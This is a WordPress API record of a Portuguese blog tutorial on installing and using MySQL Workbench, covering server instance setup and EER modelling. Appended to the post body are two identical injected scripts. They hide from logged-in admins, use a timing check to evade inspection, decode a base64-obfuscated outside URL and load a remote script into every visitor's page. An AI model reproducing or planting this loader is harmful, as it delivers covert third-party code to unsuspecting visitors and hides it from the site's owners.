{"id":344,"date":"2010-09-18T22:24:41","date_gmt":"2010-09-19T01:24:41","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=344"},"modified":"2025-10-26T22:43:38","modified_gmt":"2025-10-27T01:43:38","slug":"mysql-workbench","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/18\/mysql-workbench\/","title":{"rendered":"MySQL Workbench"},"content":{"rendered":"<p style=\"text-align: justify;\">O <a title=\"MySQL Workbench\" href=\"http:\/\/wb.mysql.com\/\" target=\"_blank\" rel=\"noopener\">MySQL Workbench<\/a> \u00e9 uma ferramenta visual para design, desenvolvimento e administra\u00e7\u00e3o de base de dados <a title=\"MySQL\" href=\"http:\/\/www.mysql.com\/\" target=\"_blank\" rel=\"noopener\">MySQL<\/a>. Essa ferramenta \u00e9 origin\u00e1ria do <a title=\"DBDesigner\" href=\"http:\/\/www.fabforce.net\/dbdesigner4\/\" target=\"_blank\" rel=\"noopener\">DBDesigner<\/a>. Que por sinal j\u00e1 era f\u00e1cil e muito boa de se utilizar.<\/p>\n<p style=\"text-align: justify;\">Para instalar o MySQL Workbench \u00e9 s\u00f3 acessar o site: <a title=\"MySQL Workbench\" href=\"http:\/\/wb.mysql.com\/\" target=\"_blank\" rel=\"noopener\">http:\/\/wb.mysql.com\/<\/a> selecionar Download Now, escolher a plataforma e selecionar Download. Caso pe\u00e7a pra fazer o login, voc\u00ea pode opcionalmente pular essa etapa clicando no link \"No thanks, just take me to the downloads!\" no final da p\u00e1gina. A\u00ed \u00e9 s\u00f3 executar o arquivo e seguir as instru\u00e7\u00f5es dependendo do seu sistema operacional.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_352\" aria-describedby=\"caption-attachment-352\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-MySQLWorkbench.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-352 \" title=\"MySQL Workbench\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-MySQLWorkbench-300x210.png\" alt=\"MySQL Workbench\" width=\"300\" height=\"210\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-MySQLWorkbench-300x210.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-MySQLWorkbench.png 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-352\" class=\"wp-caption-text\">MySQL Workbench<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">A ferramenta \u00e9 muito boa e completa. Possui as op\u00e7\u00f5es de abrir conex\u00e3o, editar dados, editar scripts SQL, gerenciar conex\u00f5es, novo modelo de dados, modelo de dados a partir da base (engenharia reversa), modelo de dados de um script SQL, cria\u00e7\u00e3o de inst\u00e2ncias de servidor, importa\u00e7\u00e3o\/exporta\u00e7\u00e3o de base, gerenciamento de seguran\u00e7a e gerenciamento de inst\u00e2ncias.<\/p>\n<p style=\"text-align: justify;\">Eu j\u00e1 possuo um servidor de MySQL instalado, pra quem n\u00e3o possui eu sugiro instal\u00e1-lo a partir do <a title=\"MySQL\" href=\"http:\/\/www.mysql.com\/\" target=\"_blank\" rel=\"noopener\">site<\/a> ou com seu gerenciador de pacotes favorito. Para administrar o server de MySQL, vamos criar uma nova inst\u00e2ncia, para isso selecione a op\u00e7\u00e3o New Server Instance da aba Home.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_354\" aria-describedby=\"caption-attachment-354\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-CreateNewServerInstanceProfile.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-354 \" title=\"Create New Server Instance Profile\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-CreateNewServerInstanceProfile-300x208.png\" alt=\"Create New Server Instance Profile\" width=\"300\" height=\"208\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-CreateNewServerInstanceProfile-300x208.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-CreateNewServerInstanceProfile.png 720w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-354\" class=\"wp-caption-text\">Create New Server Instance Profile<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Voc\u00ea pode escolher administrar um server local ou remoto. Para suporte a server remoto \u00e9 necess\u00e1rio ter instalado um daemon de ssh. No nosso exemplo vamos prosseguir com a instala\u00e7\u00e3o local clicando em Next.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_355\" aria-describedby=\"caption-attachment-355\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-CreateNewServerInstanceProfile2.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-355 \" title=\"Create New Server Instance Profile 2\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-CreateNewServerInstanceProfile2-300x173.png\" alt=\"Create New Server Instance Profile 2\" width=\"300\" height=\"173\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-CreateNewServerInstanceProfile2-300x173.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-CreateNewServerInstanceProfile2.png 867w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-355\" class=\"wp-caption-text\">Create New Server Instance Profile 2<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Informe os dados de conex\u00e3o e a senha e clique em Next. Se tudo estiver correto, voc\u00ea obter\u00e1 a seguinte mensagem: Database connection tested successfully. Clique em Next. Na pr\u00f3xima tela, selecione o sistema operacional e a forma como foi feita a instala\u00e7\u00e3o do MySQL e clique em Next. A pr\u00f3xima mensagem ser\u00e1: Testing host machine settings is done. Clique em Next, Next e Finish. D\u00ea dois cliques na inst\u00e2ncia criada abaixo de Server Administration e voc\u00ea obter\u00e1 a seguinte janela:<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_356\" aria-describedby=\"caption-attachment-356\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-MySQLWorkbenchServerStatus.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-356 \" title=\"Server Status\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-MySQLWorkbenchServerStatus-300x210.png\" alt=\"Server Status\" width=\"300\" height=\"210\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-MySQLWorkbenchServerStatus-300x210.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-MySQLWorkbenchServerStatus.png 1024w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-356\" class=\"wp-caption-text\">Server Status<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Nessa tela voc\u00ea tem um gerenciamento completo do MySQL, desde parar\/iniciar o servidor, acesso gr\u00e1fico \u00e0 todas as configura\u00e7\u00f5es, administra\u00e7\u00e3o de contas do usu\u00e1rio e privil\u00e9gios, monitoramento e gerenciamento de conex\u00f5es, visualiza\u00e7\u00e3o e edi\u00e7\u00e3o de vari\u00e1veis de status e sistema, importa\u00e7\u00e3o e exporta\u00e7\u00e3o da base, arquivos de log, al\u00e9m do monitoramento gr\u00e1fico do servidor.<\/p>\n<p style=\"text-align: justify;\">Voltando \u00e0 janela Home, temos uma conex\u00e3o criada abaixo de SQL Development. Ao dar dois cliques, ir\u00e1 abrir um editor de SQL completo, com op\u00e7\u00e3o de cria\u00e7\u00e3o e edi\u00e7\u00e3o de tabelas de modo gr\u00e1fico.<\/p>\n<p style=\"text-align: justify;\">Para criar um novo modelo EER, basta selecionar File, New Model (ou pressionar Ctrl+N) e selecionar Add Diagram. A\u00ed \u00e9 s\u00f3 brincar com a ferramenta.<\/p>\n<figure id=\"attachment_358\" aria-describedby=\"caption-attachment-358\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-EERDiagram.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-358 \" title=\"EER Diagram\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-EERDiagram-300x190.png\" alt=\"EER Diagram\" width=\"300\" height=\"190\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-EERDiagram-300x190.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-EERDiagram-1024x649.png 1024w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/09\/Screenshot-EERDiagram.png 1127w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-358\" class=\"wp-caption-text\">EER Diagram<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">\nExiste ainda as op\u00e7\u00f5es de sincronismo com a base atual, engenharia reversa de uma base ou script existente, exporta\u00e7\u00e3o de scripts das tabelas, entre muitos outros recursos.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O MySQL Workbench \u00e9 uma ferramenta visual para design, desenvolvimento e administra\u00e7\u00e3o de base de dados MySQL. Essa ferramenta \u00e9 origin\u00e1ria do DBDesigner. Que por sinal j\u00e1 era f\u00e1cil e muito boa de se utilizar. Para instalar o MySQL Workbench <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/09\/18\/mysql-workbench\/\">Continue lendo  <span class=\"screen-reader-text\">  MySQL Workbench<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[47,48],"tags":[],"class_list":["post-344","post","type-post","status-publish","format-standard","hentry","category-base-de-dados","category-mysql"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/344","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=344"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/344\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=344"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=344"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=344"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}